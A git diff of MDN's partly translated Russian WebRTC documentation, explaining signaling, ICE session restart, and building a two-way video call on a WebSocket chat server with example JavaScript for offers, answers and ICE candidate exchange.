Для обмена сигнальной информацией, вы можете выбрать отправку JSON-объектов через WebSocket-соединение,  можете использовать протокол XMPP/SIP через соответствующий канал, так же можете использовать {{domxref("XMLHttpRequest")}} через {{Glossary("HTTPS")}}  с техникой пуллинга ({{Glossary("HTTPS")}} with polling), или же другие комбинации технологий, которые вам могут прийти в голову. Вы даже можете использовать электронную почту в качестве сигнального канала.

+ +

Стоит также отметить, что сигнальный канал может вообще находиться вне компьютерной сети. Один узел может выпустить объект данных, который затем может быть распечатан на принтере, физически перемещается (пешком или голубиной почтой) до другого устройства, данные вводятся в устройство, ответ устройства затем возвращается обратно, так же пешком, и так далее, пока WebRTC-соединение между узлами открыто. В этом случае, будет очень высокая латентность, но этот сценарий возможен.

+ +

Обмен информации во время процесса сигнализации

+ +

Существует три основных типа информации, которой нужно обмениваться во время процесса сигнализации:

+ + + +

Только после успешного завершения процесса сигнализации, может быть возможен процесс открытия WebRTC-соединения между узлами.

+ +

Стоит также отметить, что сигнальному серверу не нужно понимать данные, которыми через него обмениваются между собой два узла, или что-нибудь с ними делать. Сигнальный сервер, по существу, является ретранслятором - общей точкой,  которую знают обе стороны могут к ней подключиться чтобы передавать данные через неё. Сервер не должен реагировать на передаваемую информацию ни коим образом.

+ +

Процесс сигнализации

+ +

Существует последовательность действий, которую нужно выполнить, чтобы стало возможным начало WebRTC-сессии:

+ +
    +
  1. Каждый узел создает объект {{domxref("RTCPeerConnection")}}, представляющий собой WebRTC-сессию и сохраняющийся до её завершения.
    2. +
  2. Каждый узел устанавливает обработчик события {{event("icecandidate")}},которая занимается отправкой этих кандидатов в другую сторону по каналу сигнализации.
    3. +
  3. Каждый узел устанавливает обработчик события {{event("addstream")}}, которое срабатывает когда начинает приходить поток данных от удаленного узла. Этот обработчик должен подключить этот поток к потребителю, например к элементу {{HTMLElement("video")}}.
    4. +
  4. Вызывающий узел создает уникальный идентификатор, токен или нечто, что сможет идентифицировать вызов на сигнальном сервере, и обмениваться с принимающим узлом. Форма и содержимое идентификатора остается на усмотрение разработчика.
    5. +
  5. Каждый узел подключается к согласованному сигнальному серверу, такому например как известный обоим WebSocket-сервер, для обмена сообщениями.
    6. +
  6. Каждый узел сообщает сигнальному серверу, что хочет подключиться к одной и той же WebRTC-сессии (идентифицируемой токеном, определенным на шаге 4)
    7. +
  7. descriptions, candidates, etc. -- more coming up
    8. +
+ +

Перезапуск сессии ICE агент

+ +

Иногда, во время срока службы WebRTC сессии, сетевые условия изменяются. Один из пользователей, возможно, перейдет от сотовой сети к сети WiFi или сеть может стать перегруженной. Например: когда это произойдет, ICE агент может перезапустить сессию. Это процесс, с помощью которого сетевое соединение перезапустится и восстановится, точно таким же образом выполняется начальная установка сессии, за одним исключением того пока не установится новая сессия. Тогда сессия сменяется и переходит к новому сетевому соединению, а старое соединение закрывается.

+ +
+

Различные браузеры поддерживают перезапуск сессии при разных условиях. Не все браузеры будут выполнять перезапуск сессии из-за перегрузки сети, например:

+
+ +

Есть два уровня перезапуска сессии: полная перезагрузка сессии вызывает все мультимедийные потоки в сеансе и должны быть пересмотрены. Частичная перезагрузка сессии позволяет агенту сессии перезапустить конкретный медиапоток вместо того, чтобы перезапускать  все медиаданные. Некоторые браузеры пока не поддерживают частичную перезагрузку сессии, однако. <<< Все зависит от вашего кодерства... >>>

+ +

Если вам необходимо изменить конфигурацию соединения каким-либо образом (например, изменение к другому набору связи), вы можете сделать это перед RTCPeerConnection.setConfiguration()(перед назначением конфигурации) с обновленной RTCConfiguration(конфигурацией) перед повторным запуском движка.

+ +

Чтобы явно вызвать перезапуск сессии, нужно начать переговорный процесс с помощью вызова RTCPeerConnection.createOffer(), указав параметр iceRestart(перезапуск сессии) со значением истины(true). Затем обработать процесс соединения так, как вы это обычно делаете.

+ +

Transmission

+ +

getUserMedia

+ +

LocalMediaStream object

+ +

Reception

diff --git a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html new file mode 100644 index 0000000000..4c4f7ea418 --- /dev/null +++ b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -0,0 +1,665 @@ +--- +title: Сигнализирование и видео вызов +slug: Web/API/WebRTC_API/Signaling_and_video_calling +translation_of: Web/API/WebRTC_API/Signaling_and_video_calling +--- +
{{WebRTCSidebar}}
+ +

WebRTC позволяет обмениваться медиаданными между двумя устройствами напрямую (peer-to-peer) в режиме реального времени. Соединение устанавливается путем обнаружения и согласования, называемым сигнализацией (signaling). Эта статья объясняет, как сделать двусторонний видеозвонок.

+ +

WebRTC это технология прямого обмена аудио-, видео- и другими данными в режиме реального времени с одним ключевым условием. Процесс обнаружения и согласования медиаформатов должен происходить так чтобы два устройства, подключенные к разным сетям, могли локализовать друг друга, как обсуждалось здесь. Этот процесс назван сигнализацией и подразумевает, что оба устройства подключаются к третьему, обоюдно согласованному серверу. Через третью сторону устройства определяют адреса друг друга и обмениваются согласующими сообщениями.

+ +

В этой статье мы будем дорабатывать  WebSocket-чат, созданный для нашей документации к WebSocket, — добавим к нему двусторонний видеозвонок между двумя пользователями. Вы можете использовать этот пример на Glitch или клонировать его, чтобы поэкспериментировать самим. Весь проект можно посмотреть на GitHub.

+ +
+

Note: If you try out the example on Glitch, please note that any changes made to the code will immediately reset any connections. In addition, there is a short timeout period; the Glitch instance is for quick experiments and testing only.

+
+ +

Сервер сигнализации

+ +

Для установление WebRTC-соединения между двумя устройствами необходим сервер сигнализации, чтобы определить, как соединять эти устройства через Интернет. Сервер сигнализации выступает посредником между пирами, позволяя им найти адреса друг друга и установить соединение, и предельно минимизирует риск утечки информации, которая может оказаться личной. Как создать такой сервер и как устроен процесс сигнализации?

+ +

Во-первых, нужен сам сервер сигнализации. Спецификация WebRTC не определяет, какой транспорт используется для передачи сигнальной информации. Можете использовать какой вам нравится, от WebSocket до {{domxref("XMLHttpRequest")}} и почтовых голубей, чтобы передать сигнальную информацию между пирами.

+ +

Важно, что серверу не нужно понимать или интерпретировать сигнальные данные. Хотя они в формате {{Glossary("SDP")}}, это не имеет особого значения: содержание сообщений, проходящих через сигнальный сервер - по сути, черный ящик. Значение имеет лишь то, что когда подсистема {{Glossary("ICE")}} дает команду передать данные другому пиру, вы просто это делаете, а уже пир знает, как получить эту информацию и доставить ее на свою подсистему ICE. Все что нужно - передавать сообщения туда и обратно. Содержание совершенно не важно для сигнального сервера.

+ +

Подготовка сервера чата к сигнализиции

+ +

Наш сервер чата использует WebSocket API для отправки информации как {{Glossary("JSON")}}  между каждым клиентом и сервером. Сервер поддерживает несколько типов сообщений для нескольких задач : регистрация нового пользователя, установки имен пользователей, отправка сообщений чата.

+ +

Для того, что бы сервер мог поддерживать функциональность сигнализации и согласование соединения, нам нужно обновить код. Нам нужно направлять сообщения одному конкретному пользователю вместо того, чтобы транслировать их всем подключенным пользователям, а также обеспечить передачу и доставку неизвестных типов сообщений, при этом серверу не нужно будет знать, что это такое. Это позволит нам посылать сигнальные сообщения, используя один и тот же сервер, вместо того, чтобы использовать отдельный сервер.

+ +

Let's take a look which changes we need to make to the chat server support WebRTC signaling. This is in the file chatserver.js.

+ +

First up is the addition of the function sendToOneUser(). As the name suggests, this sends a stringified JSON message to a particular username.

+ +
function sendToOneUser(target, msgString) {
+  var isUnique = true;
+  var i;
+
+  for (i=0; i<connectionArray.length; i++) {
+    if (connectionArray[i].username === target) {
+      connectionArray[i].send(msgString);
+      break;
+    }
+  }
+}
+ +

This function iterates over the list of connected users until it finds one matching the specified username, then sends the message to that user. The parameter msgString is a stringified JSON object. We could have made it receive our original message object, but in this example it's more efficient this way. Since the message has already been stringified, we can send it with no further processing. Each entry in connectionArray is a {{domxref("WebSocket")}} object, so we can just call its {{domxref("WebSocket.send", "send()")}} method directly.

+ +

Our original chat demo didn't support sending messages to a specific user. The next task is to update the main WebSocket message handler to support doing so. This involves a change near the end of the "connection" message handler:

+ +
if (sendToClients) {
+  var msgString = JSON.stringify(msg);
+  var i;
+
+  if (msg.target && msg.target !== undefined && msg.target.length !== 0) {
+    sendToOneUser(msg.target, msgString);
+  } else {
+    for (i=0; i<connectionArray.length; i++) {
+      connectionArray[i].send(msgString);
+    }
+  }
+}
+ +

This code now looks at the pending message to see if it has a target property. If that property is present, it specifies the username of the client to which the message is to be sent, and we call sendToOneUser() to send the message to them. Otherwise, the message is broadcast to all users by iterating over the connection list, sending the message to each user.

+ +

As the existing code allows the sending of arbitrary message types, no additional changes are required. Our clients can now send messages of unknown types to any specific user, letting them send signaling messages back and forth as desired.

+ +

That's all we need to change on the server side of the equation. Now let's consider the signaling protocol we will implement.

+ +

Designing the signaling protocol

+ +

Now that we've built a mechanism for exchanging messages, we need a protocol defining how those messages will look. This can be done in a number of ways; what's demonstrated here is just one possible way to structure signaling messages.

+ +

This example's server uses stringified JSON objects to communicate with its clients. This means our signaling messages will be in JSON format, with contents which specify what kind of messages they are as well as any additional information needed in order to handle the messages properly.

+ +

Exchanging session descriptions

+ +

When starting the signaling process, an offer is created by the user initiating the call. This offer includes a session description, in {{Glossary("SDP")}} format, and needs to be delivered to the receiving user, which we'll call the callee. The callee responds to the offer with an answer message, also containing an SDP description. Our signaling server will use WebSocket to transmit offer messages with the type "video-offer", and answer messages with the type "video-answer". These messages have the following fields:

+ +
+
type
+
The message type; either "video-offer" or "video-answer".
+
name
+
The sender's username.
+
target
+
The username of the person to receive the description (if the caller is sending the message, this specifies the callee, and vice-versa).
+
sdp
+
The SDP (Session Description Protocol) string describing the local end of the connection from the perspective of the sender (or the remote end of the connection from the receiver's point of view).
+
+ +

At this point, the two participants know which codecs and video parameters are to be used for this call. They still don't know how to transmit the media data itself though. This is where {{Glossary('ICE', 'Interactive Connectivity Establishment (ICE)')}} comes in.

+ +

Exchanging ICE candidates

+ +

Two peers need to exchange ICE candidates to negotiate the actual connection between them. Every ICE candidate describes a method that the sending peer is able to use to communicate. Each peer sends candidates in the order they're discovered, and keeps sending candidates until it runs out of suggestions, even if media has already started streaming.

+ +

An icecandidate event is sent to the {{domxref("RTCPeerConnection")}} to complete the process of adding a local description using pc.setLocalDescription(offer).

+ +

Once the two peers agree upon a mutually-compatible candidate, that candidate's SDP is used by each peer to construct and open a connection, through which media then begins to flow. If they later agree on a better (usually higher-performance) candidate, the stream may change formats as needed.

+ +

Though not currently supported, a candidate received after media is already flowing could theoretically also be used to downgrade to a lower-bandwidth connection if needed.

+ +

Each ICE candidate is sent to the other peer by sending a JSON message of type "new-ice-candidate" over the signaling server to the remote peer. Each candidate message include these fields:

+ +
+
type
+
The message type: "new-ice-candidate".
+
target
+
The username of the person with whom negotiation is underway; the server will direct the message to this user only.
+
candidate
+
The SDP candidate string, describing the proposed connection method. You typically don't need to look at the contents of this string. All your code needs to do is route it through to the remote peer using the signaling server.
+
+ +

Each ICE message suggests a communication protocol (TCP or UDP), IP address, port number, connection type (for example, whether the specified IP is the peer itself or a relay server), along with other information needed to link the two computers together. This includes NAT or other networking complexity.

+ +
+

Note: The important thing to note is this: the only thing your code is responsible for during ICE negotiation is accepting outgoing candidates from the ICE layer and sending them across the signaling connection to the other peer when your {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} handler is executed, and receiving ICE candidate messages from the signaling server (when the "new-ice-candidate" message is received) and delivering them to your ICE layer by calling {{domxref("RTCPeerConnection.addIceCandidate()")}}. That's it.

+ +

The contents of the SDP are irrelevant to you in essentially all cases. Avoid the temptation to try to make it more complicated than that until you really know what you're doing. That way lies madness.

+
+ +

All your signaling server now needs to do is send the messages it's asked to. Your workflow may also demand login/authentication functionality, but such details will vary.

+ +

Signaling transaction flow

+ +

The signaling process involves this exchange of messages between two peers using an intermediary, the signaling server. The exact process will vary, of course, but in general there are a few key points at which signaling messages get handled:

+ +

The signaling process involves this exchange of messages among a number of points:

+ + + +

Imagine that Naomi and Priya are engaged in a discussion using the chat software, and Naomi decides to open a video call between the two. Here's the expected sequence of events:

+ +

Diagram of the signaling process

+ +

We'll see this detailed more over the course of this article.

+ +

ICE candidate exchange process

+ +

When each peer's ICE layer begins to send candidates, it enters into an exchange among the various points in the chain that looks like this:

+ +

Diagram of ICE candidate exchange process

+ +

Each side sends candidates to the other as it receives them from their local ICE layer; there is no taking turns or batching of candidates. As soon as the two peers agree upon one candidate that they can both use to exchange the media, media begins to flow. Each peer continues to send candidates until it runs out of options, even after the media has already begun to flow. This is done in hopes of identifying even better options than the one initially selected.

+ +

If conditions change—for example the network connection deteriorates—one or both peers might suggest switching to a lower-bandwidth media resolution, or to an alternative codec. This triggers a new exchange of candidates, after which a another media format and/or codec change may take place.

+ +

Optionally, see {{RFC(8445, "Interactive Connectivity Establishment")}}, section 2.3 ("Negotiating Candidate Pairs and Concluding ICE") if you want greater understanding of this process is completed inside the ICE layer. You should note that candidates are exchanged and media starts to flow as soon as the ICE layer is satisfied. This all taken care of behind the scenes. Our role is to simply send the candidates, back and forth, through the signaling server.

+ +

The client application

+ +

The core to any signaling process is its message handling. It's not necessary to use WebSockets for signaling, but it is a common solution. You should, of course, select a mechanism for exchanging signaling information that is appropriate for your application.

+ +

Let's update the chat client to support video calling.

+ +

Updating the HTML

+ +

The HTML for our client needs a location for video to be presented. This requires video elements, and a button to hang up the call:

+ +
<div class="flexChild" id="camera-container">
+  <div class="camera-box">
+    <video id="received_video" autoplay></video>
+    <video id="local_video" autoplay muted></video>
+    <button id="hangup-button" onclick="hangUpCall();" disabled>
+      Hang Up
+    </button>
+  </div>
+</div>
+ +

The page structure defined here is using {{HTMLElement("div")}} elements, giving us full control over the page layout by enabling the use of CSS. We'll skip layout detail in this guide, but take a look at the CSS on Github to see how we handled it. Take note of the two {{HTMLElement("video")}} elements, one for your self-view, one for the connection, and the {{HTMLElement("button")}} element.

+ +

The <video> element with the id "received_video" will present video received from the connected user. We specify the autoplay attribute, ensuring once the video starts arriving, it immediately plays. This removes any need to explicitly handle playback in our code. The "local_video" <video> element presents a preview of the user's camera; specifiying the muted attribute, as we don't need to hear local audio in this preview panel.

+ +

Finally, the "hangup-button" {{HTMLElement("button")}}, to disconnect from a call, is defined and configured to start disabled (setting this as our default for when no call is connected) and apply the function hangUpCall() on click. This function's role is to close the call, and send a signalling server notification to the other peer, requesting it also close.

+ +

The JavaScript code

+ +

We'll divide this code into functional areas to more easily describe how it works. The main body of this code is found in the connect() function: it opens up a {{domxref("WebSocket")}} server on port 6503, and establishes a handler to receive messages in JSON object format. This code generally handles text chat messages as it did previously.

+ +

Sending messages to the signaling server

+ +

Throughout our code, we call sendToServer() in order to send messages to the signaling server. This function uses the WebSocket connection to do its work:

+ +
function sendToServer(msg) {
+  var msgJSON = JSON.stringify(msg);
+
+  connection.send(msgJSON);
+}
+ +

The message object passed into this function is converted into a JSON string by calling {{jsxref("JSON.stringify()")}}, then we call the WebSocket connection's {{domxref("WebSocket.send", "send()")}} function to transmit the message to the server.

+ +

UI to start a call

+ +

The code which handles the "userlist" message calls handleUserlistMsg(). Here we set up the handler for each connected user in the user list displayed to the left of the chat panel. This function receives a message object whose users property is an array of strings specifying the user names of every connected user.

+ +
function handleUserlistMsg(msg) {
+  var i;
+  var listElem = document.querySelector(".userlistbox");
+
+  while (listElem.firstChild) {
+    listElem.removeChild(listElem.firstChild);
+  }
+
+  msg.users.forEach(function(username) {
+    var item = document.createElement("li");
+    item.appendChild(document.createTextNode(username));
+    item.addEventListener("click", invite, false);
+
+    listElem.appendChild(item);
+  });
+}
+ +

After getting a reference to the {{HTMLElement("ul")}} which contains the list of user names into the variable listElem, we empty the list by removing each of its child elements.

+ +
+

Note: Obviously, it would be more efficient to update the list by adding and removing individual users instead of rebuilding the whole list every time it changes, but this is good enough for the purposes of this example.

+
+ +

Then we iterate over the array of user names using {{jsxref("Array.forEach", "forEach()")}}. For each name, we create a new {{HTMLElement("li")}} element, then create a new text node containing the user name using {{domxref("Document.createTextNode", "createTextNode()")}}. That text node is added as a child of the <li> element. Next, we set a handler for the {{event("click")}} event on the list item, that clicking on a user name calls our invite() method, which we'll look at in the next section.

+ +

Finally, we append the new item to the <ul> that contains all of the user names.

+ +

Starting a call

+ +

When the user clicks on a username they want to call, the invite() function is invoked as the event handler for that {{event("click")}} event:

+ +
var mediaConstraints = {
+  audio: true, // We want an audio track
+  video: true // ...and we want a video track
+};
+
+function invite(evt) {
+  if (myPeerConnection) {
+    alert("You can't start a call because you already have one open!");
+  } else {
+    var clickedUsername = evt.target.textContent;
+
+    if (clickedUsername === myUsername) {
+      alert("I'm afraid I can't let you talk to yourself. That would be weird.");
+      return;
+    }
+
+    targetUsername = clickedUsername;
+    createPeerConnection();
+
+    navigator.mediaDevices.getUserMedia(mediaConstraints)
+    .then(function(localStream) {
+      document.getElementById("local_video").srcObject = localStream;
+      localStream.getTracks().forEach(track => myPeerConnection.addTrack(track, localStream));
+    })
+    .catch(handleGetUserMediaError);
+  }
+}
+ +

This begins with a basic sanity check: is the user even connected? If there's no {{domxref("RTCPeerConnection")}}, they obviously can't make a call. Then the name of the user that was clicked upon is obtained from the event target's {{domxref("Node.textContent", "textContent")}} property, and we check to be sure that it's not the same user that's trying to start the call.

+ +

Then we copy the name of the user we're calling into the variable targetUsername and call createPeerConnection(), a function which will create and do basic configuration of the {{domxref("RTCPeerConnection")}}.

+ +

Once the RTCPeerConnection has been created, we request access to the user's camera and microphone by calling {{domxref("MediaDevices.getUserMedia()")}}, which is exposed to us through the {{domxref("Navigator.mediaDevices.getUserMedia")}} property. When this succeeds, fulfilling the returned promise, our then handler is executed. It receives, as input, a {{domxref("MediaStream")}} object representing the stream with audio from the user's microphone and video from their webcam.

+ +
+

Note: We could restrict the set of permitted media inputs to a specific device or set of devices by calling {{domxref("MediaDevices.enumerateDevices", "navigator.mediaDevices.enumerateDevices()")}} to get a list of devices, filtering the resulting list based on our desired criteria, then using the selected devices' {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} values in the deviceId field of the the mediaConstraints object passed into getUserMedia(). In practice, this is rarely if ever necessary, since most of that work is done for you by getUserMedia().

+
+ +

We attach the incoming stream to the local preview {{HTMLElement("video")}} element by setting the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}} property. Since the element is configured to automatically play incoming video, the stream begins playing in our local preview box.

+ +

We then iterate over the tracks in the stream, calling {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} to add each track to the RTCPeerConnection. Even though the connection is not fully established yet, it's important to begin sending media to it as soon as possible, because the media will help the ICE layer decide on the best connectivity approach to take, aiding in the negotiation process.

+ +

As soon as media is attached to the RTCPeerConnection, a {{event("negotiationneeded")}} event is triggered at the connection, so that ICE negotiation can be started.

+ +

If an error occurs while trying to get the local media stream, our catch clause calls handleGetUserMediaError(), which displays an appropriate error to the user as required.

+ +

Handling getUserMedia() errors

+ +

If the promise returned by getUserMedia() concludes in a failure, our handleGetUserMediaError() function performs.

+ +
function handleGetUserMediaError(e) {
+  switch(e.name) {
+    case "NotFoundError":
+      alert("Unable to open your call because no camera and/or microphone" +
+            "were found.");
+      break;
+    case "SecurityError":
+    case "PermissionDeniedError":
+      // Do nothing; this is the same as the user canceling the call.
+      break;
+    default:
+      alert("Error opening your camera and/or microphone: " + e.message);
+      break;
+  }
+
+  closeVideoCall();
+}
+ +

An error message is displayed in all cases but one. In this example, we ignore "SecurityError" and "PermissionDeniedError" results, treating refusal to grant permission to use the media hardware the same as the user canceling the call.

+ +

Regardless of why an attempt to get the stream fails, we call our closeVideoCall() function to shut down the {{domxref("RTCPeerConnection")}}, and release any resources already allocated by the process of attempting the call. This code is designed to safely handle partially-started calls.

+ +

Creating the peer connection

+ +

The createPeerConnection() function is used by both the caller and the callee to construct their {{domxref("RTCPeerConnection")}} objects, their respective ends of the WebRTC connection. It's invoked by invite() when the caller tries to start a call, and by handleVideoOfferMsg() when the callee receives an offer message from the caller.

+ +
function createPeerConnection() {
+  myPeerConnection = new RTCPeerConnection({
+      iceServers: [     // Information about ICE servers - Use your own!
+        {
+          urls: "stun:stun.stunprotocol.org"
+        }
+      ]
+  });
+
+  myPeerConnection.onicecandidate = handleICECandidateEvent;
+  myPeerConnection.ontrack = handleTrackEvent;
+  myPeerConnection.onnegotiationneeded = handleNegotiationNeededEvent;
+  myPeerConnection.onremovetrack = handleRemoveTrackEvent;
+  myPeerConnection.oniceconnectionstatechange = handleICEConnectionStateChangeEvent;
+  myPeerConnection.onicegatheringstatechange = handleICEGatheringStateChangeEvent;
+  myPeerConnection.onsignalingstatechange = handleSignalingStateChangeEvent;
+}
+
+ +

When using the {{domxref("RTCPeerConnection.RTCPeerConnection", "RTCPeerConnection()")}} constructor, we will specify an {{domxref("RTCConfiguration")}}-compliant object providing configuration parameters for the connection. We use only one of these in this example: iceServers. This is an array of objects describing STUN and/or TURN servers for the {{Glossary("ICE")}} layer to use when attempting to establish a route between the caller and the callee. These servers are used to determine the best route and protocols to use when communicating between the peers, even if they're behind a firewall or using {{Glossary("NAT")}}.

+ +
+

Note: You should always use STUN/TURN servers which you own, or which you have specific authorization to use. This example is using a known public STUN server but abusing these is bad form.

+
+ +

Each object in iceServers contains at least a urls field providing URLs at which the specified server can be reached. It may also provide username and credential values to allow authentication to take place, if needed.

+ +

After creating the {{domxref("RTCPeerConnection")}}, we set up handlers for the events that matter to us.

+ +

The first three of these event handlers are required; you have to handle them to do anything involving streamed media with WebRTC. The rest aren't strictly required but can be useful, and we'll explore them. There are a few other events available that we're not using in this example, as well. Here's a summary of each of the event handlers we will be implementing:

+ +
+
{{domxref("RTCPeerConnection.onicecandidate")}}
+
The local ICE layer calls your {{event("icecandidate")}} event handler, when it needs you to transmit an ICE candidate to the other peer, through your signaling server. See {{anch("Sending ICE candidates")}} for more information and to see the code for this example.
+
{{domxref("RTCPeerConnection.ontrack")}}
+
This handler for the {{event("track")}} event is called by the local WebRTC layer when a track is added to the connection. This lets you connect the incoming media to an element to display it, for example. See {{anch("Receiving new streams")}} for details.
+
{{domxref("RTCPeerConnection.onnegotiationneeded")}}
+
This function is called whenever the WebRTC infrastructure needs you to start the session negotiation process anew. Its job is to create and send an offer, to the callee, asking it to connect with us. See {{anch("Starting negotiation")}} to see how we handle this.
+
{{domxref("RTCPeerConnection.onremovetrack")}}
+
This counterpart to ontrack is called to handle the {{event("removetrack")}} event; it's sent to the RTCPeerConnection when the remote peer removes a track from the media being sent. See {{anch("Handling the removal of tracks")}}.
+
{{domxref("RTCPeerConnection.oniceconnectionstatechange")}}
+
The {{event("iceconnectionstatechange")}} event is sent by the ICE layer to let you know about changes to the state of the ICE connection. This can help you know when the connection has failed, or been lost. We'll look at the code for this example in {{anch("ICE connection state")}} below.
+
{{domxref("RTCPeerConnection.onicegatheringstatechange")}}
+
The ICE layer sends you the {{event("icegatheringstatechange")}} event, when the ICE agent's process of collecting candidates shifts, from one state to another (such as starting to gather candidates or completing negotiation). See {{anch("ICE gathering state")}} below.
+
{{domxref("RTCPeerConnection.onsignalingstatechange")}}
+
The WebRTC infrastructure sends you the {{event("signalingstatechange")}} message when the state of the signaling process changes (or if the connection to the signaling server changes). See {{anch("Signaling state")}} to see our code.
+
+ +

Starting negotiation

+ +

Once the caller has created its  {{domxref("RTCPeerConnection")}}, created a media stream, and added its tracks to the connection as shown in {{anch("Starting a call")}}, the browser will deliver a {{event("negotiationneeded")}} event to the {{domxref("RTCPeerConnection")}} to indicate that it's ready to begin negotiation with the other peer. Here's our code for handling the {{event("negotiationneeded")}} event:

+ +
function handleNegotiationNeededEvent() {
+  myPeerConnection.createOffer().then(function(offer) {
+    return myPeerConnection.setLocalDescription(offer);
+  })
+  .then(function() {
+    sendToServer({
+      name: myUsername,
+      target: targetUsername,
+      type: "video-offer",
+      sdp: myPeerConnection.localDescription
+    });
+  })
+  .catch(reportError);
+}
+ +

To start the negotiation process, we need to create and send an SDP offer to the peer we want to connect to. This offer includes a list of supported configurations for the connection, including information about the media stream we've added to the connection locally (that is, the video we want to send to the other end of the call), and any ICE candidates gathered by the ICE layer already. We create this offer by calling {{domxref("RTCPeerConnection.createOffer", "myPeerConnection.createOffer()")}}.

+ +

When createOffer() succeeds (fulfilling the promise), we pass the created offer information into {{domxref("RTCPeerConnection.setLocalDescription", "myPeerConnection.setLocalDescription()")}}, which configures the connection and media configuration state for the caller's end of the connection.

+ +
+

Note: Technically speaking, the string returned by createOffer() is an {{RFC(3264)}} offer.

+
+ +

We know the description is valid, and has been set, when the promise returned by setLocalDescription() is fulfilled. This is when we send our offer to the other peer by creating a new "video-offer" message containing the local description (now the same as the offer), then sending it through our signaling server to the callee. The offer has the following members:

+ +
+
type
+
The message type: "video-offer".
+
name
+
The caller's username.
+
target
+
The name of the user we wish to call.
+
sdp
+
The SDP string describing the offer.
+
+ +

If an error occurs, either in the initial createOffer() or in any of the fulfillment handlers that follow, an error is reported by invoking our reportError() function.

+ +

Once setLocalDescription()'s fulfillment handler has run, the ICE agent begins sending {{event("icecandidate")}} events to the {{domxref("RTCPeerConnection")}}, one for each potential configuration it discovers. Our handler for the icecandidate event is responsible for transmitting the candidates to the other peer.

+ +

Session negotiation

+ +

Now that we've started negotiation with the other peer and have transmitted an offer, let's look at what happens on the callee's side of the connection for a while. The callee receives the offer and calls handleVideoOfferMsg() function to process it. Let's see how the callee handles the "video-offer" message.

+ +
Handling the invitation
+ +

When the offer arrives, the callee's handleVideoOfferMsg() function is called with the "video-offer" message that was received. This function needs to do two things. First, it needs to create its own {{domxref("RTCPeerConnection")}} and add the tracks containing the audio and video from its microphone and webcam to that. Second, it needs to process the received offer, constructing and sending its answer.

+ +
function handleVideoOfferMsg(msg) {
+  var localStream = null;
+
+  targetUsername = msg.name;
+  createPeerConnection();
+
+  var desc = new RTCSessionDescription(msg.sdp);
+
+  myPeerConnection.setRemoteDescription(desc).then(function () {
+    return navigator.mediaDevices.getUserMedia(mediaConstraints);
+  })
+  .then(function(stream) {
+    localStream = stream;
+    document.getElementById("local_video").srcObject = localStream;
+
+    localStream.getTracks().forEach(track => myPeerConnection.addTrack(track, localStream));
+  })
+  .then(function() {
+    return myPeerConnection.createAnswer();
+  })
+  .then(function(answer) {
+    return myPeerConnection.setLocalDescription(answer);
+  })
+  .then(function() {
+    var msg = {
+      name: myUsername,
+      target: targetUsername,
+      type: "video-answer",
+      sdp: myPeerConnection.localDescription
+    };
+
+    sendToServer(msg);
+  })
+  .catch(handleGetUserMediaError);
+}
+ +

This code is very similar to what we did in the invite() function back in {{anch("Starting a call")}}. It starts by creating and configuring an {{domxref("RTCPeerConnection")}} using our createPeerConnection() function. Then it takes the SDP offer from the received "video-offer" message and uses it to create a new {{domxref("RTCSessionDescription")}} object representing the caller's session description.

+ +

That session description is then passed into {{domxref("RTCPeerConnection.setRemoteDescription", "myPeerConnection.setRemoteDescription()")}}. This establishes the received offer as the description of the remote (caller's) end of the connection. If this is successful, the promise fulfillment handler (in the then() clause) starts the process of getting access to the callee's camera and microphone using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}, adding the tracks to the connection, and so forth, as we saw previously in invite().

+ +

Once the answer has been created using {{domxref("RTCPeerConnection.createAnswer", "myPeerConnection.createAnswer()")}}, the description of the local end of the connection is set to the answer's SDP by calling {{domxref("RTCPeerConnection.setLocalDescription", "myPeerConnection.setLocalDescription()")}}, then the answer is transmitted through the signaling server to the caller to let them know what the answer is

+ +

Any errors are caught and passed to handleGetUserMediaError(), described in {{anch("Handling getUserMedia() errors")}}.

+ +
+

Note: As is the case with the caller, once the setLocalDescription() fulfillment handler has run, the browser begins firing {{event("icecandidate")}} events that the callee must handle, one for each candidate that needs to be transmitted to the remote peer.

+
+ +
Sending ICE candidates
+ +

The ICE negotiation process involves each peer sending candidates to the other, repeatedly, until it runs out of potential ways it can support the RTCPeerConnection's media transport needs. Since ICE doesn't know about your signaling server, your code handles transmission of each candidate in your handler for the {{event("icecandidate")}} event.

+ +

Your {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} handler receives an event whose candidate property is the SDP describing the candidate (or is null to indicate that the ICE layer has run out of potential configurations to suggest). The contents of candidate are what you need to transmit using your signaling server. Here's our example's implementation:

+ +
function handleICECandidateEvent(event) {
+  if (event.candidate) {
+    sendToServer({
+      type: "new-ice-candidate",
+      target: targetUsername,
+      candidate: event.candidate
+    });
+  }
+}
+ +

This builds an object containing the candidate, then sends it to the other peer using the sendToServer() function previously described in {{anch("Sending messages to the signaling server")}}. The message's properties are:

+ +
+
type
+
The message type: "new-ice-candidate".
+
target
+
The username the ICE candidate needs to be delivered to. This lets the signaling server route the message.
+
candidate
+
The SDP representing the candidate the ICE layer wants to transmit to the other peer.
+
+ +

The format of this message (as is the case with everything you do when handling signaling) is entirely up to you, depending on your needs; you can provide other information as required.

+ +
+

Note: It's important to keep in mind that the {{event("icecandidate")}} event is not sent when ICE candidates arrive from the other end of the call. Instead, they're sent by your own end of the call so that you can take on the job of transmitting the data over whatever channel you choose. This can be confusing when you're new to WebRTC.

+
+ +
Receiving ICE candidates
+ +

The signaling server delivers each ICE candidate to the destination peer using whatever method it chooses; in our example this is as JSON objects, with a type property containing the string "new-ice-candidate". Our handleNewICECandidateMsg() function is called by our main WebSocket incoming message code to handle these messages:

+ +
function handleNewICECandidateMsg(msg) {
+  var candidate = new RTCIceCandidate(msg.candidate);
+
+  myPeerConnection.addIceCandidate(candidate)
+    .catch(reportError);
+}
+ +

This function constructs an {{domxref("RTCIceCandidate")}} object by passing the received SDP into its constructor, then delivers the candidate to the ICE layer by passing it into {{domxref("RTCPeerConnection.addIceCandidate", "myPeerConnection.addIceCandidate()")}}. This hands the fresh ICE candidate to the local ICE layer, and finally, our role in the process of handling this candidate is complete.

+ +

